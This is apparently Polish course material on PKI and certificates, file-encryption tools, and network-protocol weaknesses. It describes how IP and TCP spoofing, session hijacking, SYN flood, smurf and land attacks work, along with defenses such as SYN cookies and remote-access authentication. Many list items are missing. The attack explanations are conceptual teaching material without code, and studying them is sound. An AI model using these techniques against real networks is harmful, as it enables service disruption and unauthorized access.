Struktura podstawowa typowego certyfikatu jest przedstawiona na rysunku 5. Oprócz wymienionych tam pól poszczególne certyfikaty mogą zawierać dodatkowe, specyficzne dla konkretnego urzędu CA lub zastosowań, do których certyfikaty są przeznaczone. Przykłady rzeczywistych certyfikatów możemy znaleźć w każdej przeglądarce internetowej.
Jednym z najpopularniejszych współcześnie rodzajów certyfikatów są te zgodne ze standardem ITU-T X.509. Budowa certyfikatu X.509 v.3 obejmuje szereg elementów. Należą do nich:
Ponadto istnieje opcjonalna możliwość tworzenia dodatkowych pól / parametrów identyfikacyjnych, wg potrzeb komunikujących się podmiotów.
Rysunek '5'. Schematyczna struktura typowego certyfikatu
Dystrybucja kluczy przy wykorzystaniu certyfikatów przebiega następująco:
W tym ostatnim przypadku mówimy o systemie wzajemnej certyfikacji (sieci wzajemnego zaufania, ang. web of trust). Certyfikat użytkownika, dajmy na to - Alicji, poświadcza (podpisuje) z reguły kilko (kilkunastu) użytkowników. Jeśli po pobraniu przez Bolka, stwierdza on, że wśród podpisów znajdują się jakieś należące do zaufanych mu osób, uznaje on certyfikat za poświadczony.
Zarówno rozwiązania instytucjonalne z urzędami certyfikującymi, jaki i system wzajemnego zaufania mają swoich zwolenników.
W każdym przypadku istnieje dylemat, komu na tyle zaufać, aby mógł być on w pełni wiarygodny i poświadczać (wydawać) certyfikaty? Problem ten dotyczy przede wszystkim pierwszego kontaktu, zwłaszcza w relatywnie anonimowej sieci globalnej Internet, gdzie wzajemne kontakty, „w cztery oczy", nie są raczej najbardziej typowym sposobem komunikacji. Skąd zatem pewność, że certyfikat został pobrany z właściwego urzędu, czy że podpisy poświadczające jego autentyczność rzeczywiście są godne zaufania. ile może istnieć instytucji cieszących takim zaufaniem, iż certyfikaty przez nie podpisane możemy śmiało uznawać za rzetelnie zweryfikowane i autentyczne.
Rozwiązaniem tego problemu jest system, w którym certyfikat musi przebyć pewną kilkuetapową procedurę uwierzytelniającą, a urzędy CA mogą tworzyć wielopoziomową hierarchię. Urzędy danego poziomu hierarchii wystawiają certyfikaty kluczy publicznych urzędom lub użytkownikom znajdującym się na niższym poziomie. Na szczycie znajduje jeden z nielicznych urzędów centralnych, który swym powszechnie uznanym autorytetem ostatecznie poświadcza poprawność całej procedury uwierzytelniającej certyfikat.
Rysunek '6'. Hierarchia urzędów poświadczających
Taka hierarchia urzędów poświadczających jest podstawą funkcjonowania niezwykle ważnego współcześnie mechanizmu informatycznego - infrastruktury kluczy publicznych - PKI (Public Key Infrastructure). Infrastruktura kluczy publicznych obejmuje sprzęt, oprogramowanie, ludzi, polityki bezpieczeństwa i procedury konieczne do utworzenia, zarządzania, przechowywania, dystrybucji i unieważniania certyfikatów kluczy publicznych w skali najczęściej ogólnonarodowej lub światowej. PKI oferuje często dodatkowe certyfikaty, np. Certyfikaty Znacznika Czasu (dla wiarygodnego potwierdzania czasu). W sieci Internet, PKI wykorzystuje specyfikację X.509 (PKIX, RFC 2459).
PKI jest hierarchicznym systemem urzędów certyfikujących oferujących publicznie swoje usługi. Do usług tych należy między innymi:
Komponenty systemu PKI to:
Repozytoriami certyfikatów i list unieważnień mogą być np.:
Mimo wysokiej przydatności systemów PKI, nie wszystkie problemy związane z certyfikacją zostały w pełni rozwiązane. Pozostaje przykładowo problem jednoznacznej identyfikacji podmiotu - jaki jest adekwatny kompromis pomiędzy pełnymi danymi identyfikującymi a prywatnością podmiotu? Rozwiązanie tego problemu na ogół przybliża się wprowadzając różne klasy certyfikacji o różnym poziomie zaufania.
Inny problem to problem pierwszego certyfikatu - jak bezpiecznie certyfikować CA? Możliwym rozwiązaniem jest wzajemna certyfikacja różnych urzędów z PKI. Wielość hierarchicznych ośrodków certyfikacji umożliwia współpracę pomiędzy niezależnymi strukturami, również w zakresie wzajemnej certyfikacji. Innym powszechnie spotykanym rozwiązaniem są certyfikaty wybranych urzędów najwyższego poziomu hierarchii wbudowane na stałe w aplikacje (przeglądarki WWW, np. Netscape Navigator ma ponad 30 predefiniowanych certyfikatów urzędów CA). Wówczas, zakładając, iż integralność wersji binarnej aplikacji dystrybuowanej przez producenta nie została naruszona (co, notabene, można weryfikować również technikami kryptograficznymi), można przyjąć autentyczność kluczy publicznych zawartych w tych wbudowanych certyfikatach i bezpiecznie się nimi posługiwać do potwierdzania autentyczności urzędów niższego szczebla hierarchii.
Mechanizmem pobierania certyfikatów CA powszechnie uznanym za standardowy jest przekazywanie ich jako typ MIME application/x-x509-ca-cert. Z kolei do popularnych protokołów wymiany informacji niezbędnych do właściwego zarządzania infrastrukturą kluczy publicznych zaliczyć można CMP (Certificate Management Protocol) oraz SCVP (Simple Certificate Validation Protocol).
W myśl polskiego ustawodawstwa wyróżnia się dwa rodzaje certyfikatów:
W naszym kraju istnieje wiele urzędów certyfikacji. Jedne z najstarszych to np.:
Współcześnie dostępna jest ogromna ilość aplikacji szyfrowania plików i całych katalogów (fragmentów systemu plików). Można tu wymienić np. moduł jądra Linux loop-AES (od wersji 2.4 jądra nosi nazwę cryptoloop). Oferuje on szyfrowanie całego systemu plików na poziomie jądra za pomocą urządzenia blokowego /dev/loop[1-8]. Przykładowe polecenie montowania zaszyfrowanego systemu plików pokazuje poniższa komenda powłoki systemu operacyjnego:
mount -t ext3 crypto.raw /mnt/crypto -oencryption=aes-256
Innym przykładem środowiska szyfrowania plików jest EncFS. Tworzy ono z wybranego katalogu wirtualny system plików w przestrzeni użytkownika, korzystając ze standardowego modułu jądra FUSE (Filesystem in USErspace). Przykładowe wywołanie operacji tego środowiska jest przedstawione poniżej:
encfs ~/.crypto.vfs ~/tajne_dane
Wykonanie tego polecenia za pierwszym razem powoduje utworzenie pliku .crypto.vfs z zaszyfrowanym systemem plików, na podstawie zawartości katalogu tajne_dane. Przy kolejnych wywołaniach następuje podmontowanie .crypto.vfs z do katalogu tajne_dane. Odmontowanie niepotrzebnego już katalogu tajne_dane przebiega standardowo:
fusermount -u ~/tajne_dane
W systemie MS Windows z kolei zawarty jest moduł EFS (Encrypted File System), działający na partycjach NTFS od wersji Windows 2000. EFS działa jako usługa systemowa - przeźroczyście dla aplikacji użytkownika. Usługa ta wykorzystuje algorytm DESX, będący autorską odmianą 3DES firmy Microsoft. Przykład uaktywnienia funkcji szyfrowania pliku poprzez graficzny interfejs użytkownika pokazuje rysunek 7.
Występują dwa rodzaje kluczy EFS tworzonych automatycznie przy pierwszym uaktywnieniu usługi (rysunek 8):
Rysunek '7'. Uaktywnienie funkcji szyfrowania pliku w MS Windows
Rysunek '8'. Uaktywnienie funkcji szyfrowania pliku w MS Windows
Ponadto istnieje wiele narzędzi kryptograficznego zabezpieczania komunikacji. Do najpopularniejszych rozwiązań należą protokoły komunikacyjne:
oraz komponenty aplikacji użytkowych, takie jak:
Rozwiązania te i ich implementacje będą szerzej przedstawione w następnych modułach.
Bieżący moduł przedstawia wybrane zagadnienia bezpieczeństwa związane bezpośrednio z niedoskonałościami współczesnych technologii sieci komputerowych. Omówione zostaną problemy bezpieczeństwa podstawowych protokołów sieciowych, klasyfikacja i przykłady ataków na środowiska sieciowe, podstawowe metody obrony oraz przykłady narzędzi podnoszących poziom bezpieczeństwa sieci
Rysunek 1 przedstawia schemat prostej sieci komputerowej analizowany w dalszej części modułu jako przykładowy scenariusz ataków na środowisko sieciowe i obrony przed tymi atakami. Rozważać będziemy sieć lokalną hipotetycznego przedsiębiorstwa lub instytucji, obejmującą serwer aplikacyjny, np. z systemem bazy danych zawierającej dane przetwarzane w firmie, zbiór stacji roboczych, na których działają klienckie aplikacje użytkowników wykorzystujące informacje z bazy danych. Oprócz infrastruktury sieci lokalnej wyróżnimy jeszcze łącze do sieci rozległej. Przyjmijmy dla uatrakcyjnienia rozważań, iż jest to sieć publiczna, np. Internet. Utrzymywanie łącza do sieci rozległej może być wymagane chociażby z tego powodu, że pewne ograniczone informacje z bazy danych firma chce publicznie udostępniać swoim klientom poprzez usługę WWW. Oczywiście możliwych jest kilka punktów dostępowych do sieci rozległej, mogą to być np. łącza modemowe, analogowe lub cyfrowe typu xDSL, lub sieci bezprzewodowe z dostępem do Internetu.
Rysunek 1. Schemat sieci komputerowej analizowany jako scenariusz zagrożeń
Rozważany scenariusz zagrożeń bezpieczeństwa obejmuje następujące przypadki:
Przyczyn tych zagrożeń należy przede wszystkim szukać w niedoskonałościach technologii sieciowych wykorzystywanych aktualnie. Należy od razu zaznaczyć, niejako tytułem usprawiedliwienia, iż większość tych technologii zostało zaprojektowanych wiele lat temu (pierwotne wersje niektórych rozważanych standardów datują się na wczesne lata 70-te ubiegłego wieku) i do dziś były zaledwie modernizowane na ogół w celu usprawnienia działania, dostosowania do nowych wymagań, a raczej rzadko dla nieznacznego podniesienia bezpieczeństwa.
Obserwując właściwości technologii należących do kolejnych warstw modelu referencyjnego OSI, interesujących odkryć możemy dokonać już w warstwie pierwszej – fizycznej. Poniżej przypomniane zostaną, raczej jedynie hasłowo, tytułem zaakcentowania, najistotniejsze z tych właściwości.
Elementami specyfikacji funkcjonalnej tej warstwy są topologie fizyczne i media komunikacyjne.
Ze względu na własności zarówno poufności, integralności jak i dostępności możemy łatwo uszeregować typowe topologie sieciowe o najmniej do najbardziej bezpiecznej (zastanów się jak wygląda to uszeregowanie). Szczęśliwie najkorzystniej wypada tu najpowszechniej dziś spotykana topologia gwiazdy (przypomnij sobie jej własności).
Rysunek 2. Modele typowych topologii sieciowych
Również typowo dziś spotykane media można podobnie uszeregować, od najmniej bezpiecznych z natury – mediów bezprzewodowych, poprzez różne technologie skrętki komputerowej, niechaj wymienić tu: UTP, FTP, STP czy SSTP, aż po światłowód.
W warstwie łącza danych pojawiają się już elementy inteligencji sieciowej – protokoły komunikacyjne. Najistotniejszym współcześnie jest niewątpliwie protokół Ethernet w różnych stosowanych standardach.
Z punktu widzenia bezpieczeństwa architekturę sieci Ethernet wyróżniają następujące cechy:
Funkcjonujące w tej warstwie urządzenia sieciowe (mosty i przełączniki) charakteryzują następujące cechy:
Z racji szczególnej roli wszechobecnej dziś rodziny protokołów TCP/IP, spośród kolejnych warstw modelu OSI najistotniejsze są te, które odwzorowują się najdokładniej na model internetowy. Dotyczy to warstwy sieciowej, transportowej oraz aplikacyjnej.
W warstwie sieciowej szczególną uwagę należy zwrócić na problematykę:
Zagadnienia dotyczące warstwy sieciowej są na tyle ważne, iż wymienione wyżej problemy zostaną omówione szerzeń w dalszej części bieżącego modułu. Wcześniej jednak podkreślone zostaną istotne cechy pozostałych ważnych warstw.
Warstwa transportowa cechuje się funkcjonalnością której najistotniejsze elementy określa się mianem sterowania przepływem.
Natomiast w warstwie aplikacyjnej pojawiają się problemy związane z niedoskonałościami popularnych protokołów (telnet, ftp, SMTP, POP, IMAP) na ogół nie dysponujących mechanizmami ochrony poufności oraz integralności i stosującymi mało wiarygodne mechanizmy uwierzytelniania.
Protokół IP, jest najpowszechniej spotykanym protokołem sieciowym i analizę problemów bezpieczeństwa ograniczamy wyłącznie do aspektów dotyczących tego protokołu.
Rysunek 3. Format datagramu IP
Adresacja jest jednym z zadań podstawowych protokołów warstwy sieciowej. Pola adresowe ustawiane są w nagłówku datagramu IP przez stację nadawczą (źródło, ang. source). Z zawartością pól adresowych wiążą się następujące problemy:
Problemy te dyskwalifikują uwierzytelnianie poprzez wartość pola adresu źródłowego. Niestety wiele protokołów aplikacyjnych posiada wbudowane takie mechanizmy. Ewentualny atak na system może zatem polegać sfałszowaniu adresu źródłowego (IP spoofing). Kompromituje to procedury uwierzytelniania ofiary.
Trasowanie (routing) polegające na wyznaczaniu drogi do adresata. W przypadku protokołu IP trasowanie jest wykonywane pojedynczymi etapami. Zadanie to wykonuje router. Trasowanie jest niezwykle istotnym elementem działania warstwy sieciowej i związanych z nim jest kilka problemów:
Przeciążenie routera implikuje zagrożenia dostępności danych transmitowanych w pakietach kierowanych do niego. Co więcej, potencjalny atak zdalny skierowany przeciwko innym stacjom sieciowym może wykorzystywać chwilową niedostępność pakietów z oryginalnego źródła celem podszycia się pod źródłowy komputer.
Fragmentacja datagramów IP jest często realizowaną funkcją, pierwotnie zamierzoną jako mechanizm optymalizacji kosztu przetwarzania pakietów. O wielkości fragmentów decyduje wartość MTU (Maximum Transfer Unit) związana z wielkością pola danych ramek warstwy drugiej OSI. Do fragmentacji dochodzić może na dowolnym etapie drogi między nadawcą a odbiorcą. Oryginalny datagram otrzymuje unikalny (w przybliżeniu) identyfikator, którym opatrywane są kolejne fragmenty. Kolejność fragmentów determinuje względny numer pierwszego bajtu przekazywanego w polu danych fragmentu liczony od początkowego bajtu oryginalnego datagramu (Fragment Offset). Scalanie fragmentów odbywa się na węźle odbiorcy.
Fragmentacja może stanowić potencjalne źródło zagrożenia a następujących powodów:
Rysunek 4. Schemat fragmentacji IP
Mechanizmy rozgłoszeniowe oferuje wiele protokołów, również IP. Ukierunkowane rozgłoszenie często jest wykorzystywane do przeprowadzenia ataków na dostępność informacji (typu Denial of Service – DoS). Stanowi to najistotniejsze zagrożenie związane z mechanizmem rozgłaszania. Szczęśliwie, wiele routerów posiada funkcję blokowania ruchu rozgłoszeniowego.
Odwzorowanie adresów IP na adresy MAC (np. Ethernet) jest niezbędne dla realizacji operacji nadawczych, a dokładniej do konstrukcji prawidłowej ramki MAC. Zadaniem odwzorowania adresów na ogół zajmuje się protokół ARP (Address Resolution Protocol). Stosuje on transmisję rozgłoszeniową zapytań i zbiera odpowiedzi bez zapewnienia poufności i autentyczności. W celu poprawy efektywności, protokół wykorzystuje pamięć podręczną do temporalnego składowania informacji pozyskanych z docierających zapytań i odpowiedzi ARP.
W efekcie z protokołem ARP wiążą się następujące zagrożenia:
Często można skonfigurować lokalne statyczne mapowanie ARP wyłączając przy tym automatyczną obsługę zapytań i odpowiedzi ARP, co uwalnia od w/w problemów. Jednak w praktyce okazuje się, że wyłączenie obsługi komunikacji sieciowej nie jest możliwe w każdej implementacji stacji protokołu ARP.
Rysunek 5. Format zapytania ARP
Jak wiadomo, w rodzinie protokołów internetowych występują 2 protokoły transportowe. Protokół TCP (Transmission Control Protocol) jest to protokół strumieniowy zorientowany połączeniowo. Zestawienie komunikacji w protokole TCP wymaga wykonania 3-etapowej procedury nawiązania połączenia (3-way handshake). Bodaj najistotniejszym zadaniem tej procedury jest ustalenie inicjalnych numerów sekwencyjnych, rozpoczynających numerowanie bajtów strumienia danych przekazywanego w każdym z dwu kierunków połączenia A-B (rysunek 7).
Rysunek 6. Format segmentu TCP
Na schemacie z rysunku 7 zastosowano następujące oznaczenia:
SN = Numer sekwencyjny w nagłówku segmentu określa numer pierwszego oktetu danych przesyłanych w tym segmencie ACK = Numer potwierdzenia – numer sekwencyjny następnego oktetu danych po ostatnim pomyślnie odebranym (numer oczekiwanego oktetu) ISN = Inicjalny numer sekwencyjny (Initial Sequence Number) – początkowy numer sekwencyjny danych przesyłanych w danym połączeniu, ustalany w procesie nawiązania połączenia (w segmencie SYN). Każde połączenie może rozpocząć numerację oktetów danych od arbitralnej wartości (jeśli ISN=0, to pierwszy oktet w całym połączeniu ma numer ISN+1=1). Inicjalny numer sekwencyjny jest ustalany oddzielnie dla obu stron połączenia (w ogólności ISNA ≠ ISNB )
Rysunek 7. Schemat nawiązania połączenia (3-way handshake)
Nawiązanie połączenia TCP charakteryzują następujące cechy:
Stopień randomizacji wyboru ISN graficznie reprezentuje się wykresem fazowym. Wykresy fazowe prawidłowego generatora ISN zgodny ze standardem RFC 1948 oraz generatorów w popularnych (mniej i bardziej) systemach operacyjnych można znaleźć w <A HREF=”http://alon.wox.org/tcpseq/”>[Zalewski]</A>. Jak pokazują przykłady wykresów fazowych, coraz więcej systemów operacyjnych stosuje generatory zbliżone do wzorcowego, jednak nadal wiele jest implementacji dalece od wzorca odbiegających. Skutkuje to możliwością przeprowadzenia pewnych ataków, o których będzie mowa dalej.
Procedura nawiązania połączenia TCP może być wykorzystana do realizacji następujących ataków:
W warstwie aplikacyjnej występują m.in. problemy trywialnego uwierzytelniana na podstawie identyfikacji usług oraz braku odpowiednich zabezpieczeń usług narzędziowych.
Identyfikacja usług w modelu internetowym odbywa się zwykle jedynie na podstawie numer portu źródłowego lub docelowego. Z wykorzystaniem wartości numeru portu wiążą się następujące obserwacje:
Jednym z najpopularniejszych przykładów usług narzędziowych jest DNS (Domain Name Service). Jak wiadomo, system DNS to swoista rozproszona baza danych odwzorowań nazwa domenowa - adres sieciowy. Baza DNS ma strukturę drzewiastą, poddrzewa odpowiadają poszczególnym domenom niższego poziomu (poddomenom). Zarządzanie poddrzewami może być delegowane innym serwerom DNS. Aktualizacje bazy DNS mogą obejmować pojedyncze rekordy RR (resource records), jak i całe poddrzewa. Poprzez protokół DNS można dokonywać prostych zapytań o pojedyncze odwzorowania, jak i zrealizować pozyskanie pełnej kopii fragmentu obszaru nazw (tzw. transfer stref – zone transfer) np. w celu aktualizacji serwerów zapasowych. Protokół DNS dostępny jest poprzez oba internetowe protokoły transportowe: UDP – tak realizowane są proste zapytania DNS, TCP – tak odbywa się transfer stref DNS. Z punktu widzenia bezpieczeństwa istotne jest, iż niektóre zapisy RR dostarczają informacji użytecznych dla włamywaczy, np. HINFO (może zawierać m.in. informacje o systemie operacyjnym), WKS (well-known-services). Pola te, na szczęście, rzadko są dziś stosowane.
Baza DNS składa się z dwóch oddzielnych drzew mapowań – dla mapowania nazw na adresy (zapytania proste) i adresów na nazwy (zapytania odwrotne – inverse queries). Nie ma wymuszonej relacji między drzewami – każde z nich jest w praktyce utrzymywanie niezależnie. Przy tym drzewo mapowań odwrotnych zwykle nie jest równie często aktualizowane a do tego w ogóle jest utrzymywane w gorszym stanie. Niestety stanowi to potencjalne ułatwienie w przejęciu kontroli nad częściami drzewa mapowań odwrotnych i, w efekcie, skutecznym podszywaniu się pod autoryzowane nazwy.
W przypadku usługi DNS można wyróżnić następujące podstawowe problemy dotyczące bezpieczeństwa:
Usługi inne popularne usługi narzędziowe BOOTP i DHCP również udostępniają informacje o infrastrukturze sieciowej, i to często bardzo bogate informacje, praktycznie bez uwierzytelniania. Na szczęście dostępne są one na ogół tylko w obrębie sieci lokalnej, zatem mogą być wykorzystane tylko przez atakujących, którzy wdarli się już do atakowanej podsieci. Istotny jest jednak problem bezpiecznej wymiany danych pomiędzy serwerami DHCP a DNS, a ta z kolei może przechodzić przez kilka podsieci.
Powszechne techniki ataków na infrastrukturę sieciową wykorzystują głównie niedoskonałości protokołów oraz technologii sieciowych w celu:
Poniżej wymienione zostaną najczęściej spotykane współcześnie techniki ataków zebrane w następujące 4 klasy:
w tej kategorii mieszczą się wszystkie te ataki, których ostatecznym celem jest unieruchomienie poszczególnych usług, całego systemu lub całej sieci komputerowej.
Rysunek 8 przedstawia wyjściowy stan ataku session hijacking, którego celem jest nieuprawnione wpięcie segmentów protokołu transportowego w strumień wymieniany w autoryzowanym (poprawnie zestawionym) połączeniu między systemem A (przyszłą ofiarą ataku) i zaufanym systemem B. Atakujący E, mając wgląd w dotychczasową zawartość strumienia w kierunku do B do A (poprzez sniffing), może spreparować poprawny i oczekiwany przez A segment, który podsunie jako rzekomo autentyczny segment wysłany przez B (rysunek 9).
Rysunek 8. Schemat ataku session hijacking (1)
Rysunek 9. Schemat ataku session hijacking (2) – w strumieniu przesyłane są segmenty po 100 B
Rysunek 10 przedstawia początek ataku TCP spoofing, którego celem jest nieuprawnione zestawienie połączenia z systemem A (ofiarą ataku) w imieniu zaufanego systemu B. Atakujący E tym razem nie ma wglądu komunikację między A i B, co czyni atak znacznie trudniejszym niż session hijacking. Atak wymaga nie tylko sfałszowania adresu źródłowego (w szczególności w pierwszym segmencie SYN, nawiązującym połączenie), ale dodatkowo poprawnego przewidzenia numeru ISNA (który zaproponuje system A w drugim segmencie SYN/ACK) i być może jeszcze zablokowania poprawnej komunikacji z rzeczywistym systemem B (co może wymagać przeprowadzenia ataku DoS skierowanego przeciw B), aby B nie mógł zakończyć (zresetować) niechcianego połączenia. Mimo tych utrudnień E może spreparować poprawny i oczekiwany przez A segment ACK – kończący poprawnie procedurę nawiązania połączenia, (rysunek 11).
Rysunek 10. Schemat ataku TCP spoofing (1)
Najtrudniejszym krokiem ataku jest wysłanie poprawnego segmentu trzeciego zawierającego potwierdzenie inicjalnego numeru sekwencyjnego ISNA wybranego przez A. Ze względu na brak możliwości podglądu przez E komunikacji z A do prawdziwego B, wymaga to przewidzenia wartości ISNA przez E. Jest to prawdopodobne przy wygenerowaniu relatywnie niedużej liczby segmentów ACK, jeśli system A nie posiada poprawnego generatora ISN. Wówczas jest szansa, iż jeden z wygenerowanych przez E segmentów będzie przenosił poprawną wartość potwierdzenia i zostanie przez A uznany za oczekiwany.
Rysunek 11. Schemat ataku TCP spoofing (2)
Można wyróżnić następujące elementy ataku TCP spoofing:
Poczynić można w związku z tym następujące obserwacje:
Celem ataku DoS jest unieruchomienie całego systemu ofiary lub jego komponentów (rysunek 12). W tym celu stosowane są różne techniki ataku. Niektóre z nich zostaną krótko przedstawione poniżej.
Rysunek 12. Schemat ataku Denial of Service (DoS)
Szczególnie niebezpieczną odmianą ataku jest rozproszony DoS (Distributed Denial of Service – DdoS), w którym atakujący nie przeprowadza ataku bezpośrednio, lecz doprowadza do skomasowanego natarcia wykorzystując inne systemy (często w dużej liczbie). Zwykle owe systemy uczestniczące mimowolnie w skomasowanym ataku, zostały wcześniej opanowane przez atakującego i tak odpowiednio zmodyfikowane by ułatwić mu w przyszłości przeprowadzanie ataku DDoS.
Rysunek 13. Schemat ataku Distributed DoS (DDoS)
W przypadku ataku SYN flood atakujący (E) wysyła na adres ofiary (A) dużą liczbę segmentów SYN protokołu TCP adresowanych z dowolnych (nieistniejących) adresów IP. Nieświadomy tego A odpowiada segmentami SYN/ACK i rozpoczyna bezowocne oczekiwanie na segmenty ACK (stacja protokołu TCP ofiary jest w stanie na wpół otwartym). W trakcie oczekiwania wyczerpują się zasoby stacji protokołu TCP i systemu operacyjnego A.
W 1997 r. atak SYN flood na WebCom wyłączył z użycia ponad 3000 witryn WWW
Atak ten przeprowadza się poprzez wygenerowanie pofragmentowanych pakietów ICMP przekraczających w sumie 64kB. Wówczas scalanie może w niektórych implementacjach powodować błędy prowadzące do zawieszenia stacji IP.
Jest to atak DDoS. Polega na wygenerowaniu dużej ilości rozgłoszeniowych (directed broadcast) pakietów ICMP echo (ping) z adresem IP ofiary ataku jako źródłowym. Ofiara zostanie zalana odpowiedziami ping. Atak ten jest skuteczny jedynie jeśli brzegowy dla sieci ofiary router przepuszcza ping w ukierunkowanym rozgłoszeniu, a system operacyjny stacji odpowiada na taki ping.
To atak posiadający identyczny schemat postępowania, lecz wykorzystuje usługę echo na UDP.
W tym przypadku, atakujący wysyła segment SYN na adres ofiary podając jej własny adres jako źródłowy i nadając ten sam numer portu źródłowego i docelowego. Stacja TCP ofiary nigdy nie zestawi połączenia zapętlając się w nieskończoność. W niektórych implementacjach może to prowadzić do jej zawieszenia.
Nie ma uniwersalnych metod obrony przez atakami odmowy dostępu. Na ogół wymagają one przygotowania przez producenta systemu operacyjnego odpowiednich poprawek (łat) i zastosowania ich w podatnym na atak systemie. Poniżej przedstawione zostaną dwa mechanizmy obrony przed atakiem SYN flood, które systematycznie zyskują coraz większą popularność.
Obrona przed atakiem SYN flood – SYN Defender
SYN Defender jest komponentem kilku kompleksowych systemów ochrony (takich jak np. CheckPoint Firewall-1). Jego ogólna koncepcja działania polega na wprowadzeniu pomiędzy atakującego i ofiarę wyspecjalizowanego obrońcę (na rysunku 14 oznaczonego na czerwono), który przejmuje wszystkie segmenty SYN skierowane do ochranianego systemu i propaguje połączenia dopiero gdy wykluczy atak (czyli, gdy dotrze do obrońcy trzeci segment nawiązania połączenia, co oznacza, że nie mamy do czynienia z atakiem SYN flood).
Rysunek 14. Schemat działania mechanizmu SYN Defender
Jeśli SYN Defender rozpoznaje atak (nie doczeka się trzeciego segmentu) po prostu zapomina o parametrach połączenia, a system ochraniany nawet nie dowie się o ataku. Jeśli SYN Defender wykluczy atak, to wówczas samodzielnie zestawia nowe połączenie z systemem ochranianym, które posłuży to retransmitowania segmentów odebranych od nadawcy. Oczywiście owo nowe połączenie nie będzie miało identycznych parametrów (np. numer ISN wybrany przez ochranianego będzie z pewnością inny, niż uprzednio zaproponowany nadawcy segmentu SYN przez obrońcę). W związku z tym, segmenty propagowane muszą być poddane konwersji parametrów (nagłówka) przy przejściu przez węzeł obrońcy).
Istotą ochrony przed atakiem jest przeniesienie punktu obrony z ofiary na zewnętrzny system, który przygotowany na okoliczność ewentualnego ataku nie pozwoli na przeciążenie siebie poprzez zużycie wszystkich zasobów. Właściwie ilość zasobów potrzebna obrońcy na obsługę połączeń jest tu minimalna, a system ofiary obsługuje wyłącznie połączenia, które nie są elementem ataku SYN flood.
Obrona przed atakiem SYN flood – SYN cookies
Inną metodą obrony przed atakiem SYN flood jest wykorzystanie dość sprytnego mechanizmu o nazwie SYN cookies. Umożliwia on realizację obrony w samym węźle potencjalnej ofiary. Przy zastosowaniu tego mechanizmu, węzeł broniący się nie musi rezerwować zasobów dla połączenia już w momencie odebrania segmentu SYN. Miast tego, węzeł ten generuje specjalną wartość, przekazywaną nadawcy segmentu SYN, i tak spreparowaną, by po ewentualnym otrzymaniu w przyszłości trzeciego segmentu (ACK), rozpoznać że jest to kontynuacja wcześniej rozpoczętego nawiązywania połączenia. Dopiero po otrzymaniu segmentu ACK rezerwowane są zasoby.
Rysunek 15. Schemat działania mechanizmu SYN cookies
Dla rozpoznania poprawności późniejszego segmentu ACK, broniący po odebraniu segmentu SYN generuje wartość cookie uzależnioną od parametrów segmentu ACK. Wartość ta jest wpisywana następnie jako ISN do segmentu SYN/ACK, a zatem powróci (faktycznie zinkrementowana) w polu potwierdzenia w segmencie ACK, umożliwiając detekcję poprawności procedury zestawiania połączenia.
Mechanizm SYN cookies posiada niestety pewne ograniczenia, np. nie można korzystać niektórych użytecznych rozszerzeń specyfikacji protokołu TCP, np. Large Window.
Więcej informacji o SYN cookies można znaleźć pod adresem http://cr.yp.to/syncookies.html
Rysunek 16 przedstawia schemat uwierzytelniania przy zdalnym dostępie do sieci komputerowej. Przyjmujemy tu scenariusz, w którym system A uzyskuje dostęp zdalny do sieci poprzez publiczną sieć operatora dostępu do Internetu. Po stronie A wykorzystywany jest adapter łącza do sieci publicznej, wbudowany w system komputerowy A lub zewnętrzny (modem telefoniczny, modem kablowy, adapter ISDN lub modem DSL). Operator posiada infrastrukturę złożoną w łączy i systemów przełączających (np. cyfrowych centralek telefonicznych). Natomiast po stronie sieci docelowej połączenie jest obsługiwane przez serwer dostępowy RAS. Serwer dostępu zezwala tylko na autoryzowane połączenia, które muszą zostać uwierzytelnione. Uwierzytelnieniu podlega na ogół adapter reprezentujący system A wobec serwera RAS. Najprostsze mechanizmy uwierzytelniania (PAP, CHAP) wykorzystują hasła.
Rysunek 16. Schemat uwierzytelniania przy zdalnym dostępie
W protokole PAP, serwer RAS pyta o nazwę (ID) użytkownika, a następnie o hasło i na tej podstawie decyduje o dopuszczeniu do sieci. W tym protokole nazwa użytkownika i hasło są przesyłane tekstem jawnym! Istnieje też odmiana tego protokołu – SPAP (Shiva PAP), która stosuje proste szyfrowanie procedury uwierzytelniania.
Rysunek 17. Schemat uwierzytelniania PAP
W przypadku tego protokołu, RAS pyta o ID użytkownika, a następnie przesyła unikalne „zawołanie”. Klient koduje zapytanie hasłem (MD5) i odsyła jako „odzew” decydujący o dopuszczeniu do sieci.
Rysunek 18. Schemat uwierzytelniania CHAP
W tym przypadku RAS wysyła kilka zapytań do uwierzytelnianego podmiotu, każdorazowo specyfikując typ żądania (np. żądanie hasła lub skrótu MD5). Oferuje tym samym możliwość korzystania z wielu protokołów uwierzytelniania bez potrzeby uprzedniego ich negocjowania. Istnieje tez możliwość dwustronnego uwierzytelniania.
Protokół RADIUS oferuje własności AAA (Authentication + Authorization + Accounting) zdalnego dostępu i pozwala na centralizację zarządzania tymi własnościami. Pozwala na przechowywanie jednej globalnej bazy procedur i informacji uwierzytelniających, i umożliwia utrzymywanie wielu punktów dostępowych wykorzystujących tę globalną konfigurację. Ułatwia to tworzenie złożonych sieci z wieloma serwerami dostępowymi RAS. Serwer RADIUS stanowi centrum uwierzytelniania i kontroli dostępu. Natomiast punkty dostępowe RAS realizują proces uwierzytelniania na podstawie informacji pozyskanych z centralnego serwera RADIUS za pomocą protokołu RADIUS.
Rysunek 19. Konfiguracja środowiska RADIUS
Na podobnej zasadzie działają także protokoły TACACS (Terminal Access Control – Access Control System), XTACACS czy TACACS+.
Standard IEEE 802.1x umożliwia ochronę infrastruktury sieciowej przed nieautoryzowanym dostępem poprzez centralne uwierzytelnianie poszczególnych stacji sieciowych. Przykładowo przy wykorzystaniu tego standardu przełącznik wymusza uwierzytelnienie nowo wpiętej lub właśnie uruchomionej stacji, zanim rozpocznie przełączanie pakietów przez nią wysyłanych. Do zweryfikowania danych uwierzytelniających może wykorzystać protokoły RADIUS czy TACACS+.
W 1999 zaproponowano rozszerzenie DNS o mechanizmy kryptograficznego uwierzytelniania i kontroli integralności (RFC 2535). Zaproponowano dodanie rekordów SIG zawierających podpisy cyfrowe podpisujące zbiory rekordów informacyjnych (RRset). Rolę certyfikacji pełni umieszczenie klucza publicznego w samym zbiorze. Klucz przechowują rekordy nowego typu –DNSkey. Usługa DNSsec również może służyć przechowywaniu samych kluczy publicznych dla innych celów, np. PKI. Niestety wdrożenie DNSsec wciąż napotyka trudności. Przykładowym problemem jest m.in. kwestia pełnego lub częściowego podpisywana zbiorów dla dużych domen, takich jak .com)
Niżej przedstawione zostaną dwa wybrane narzędzia ochrony środowisk sieciowych.
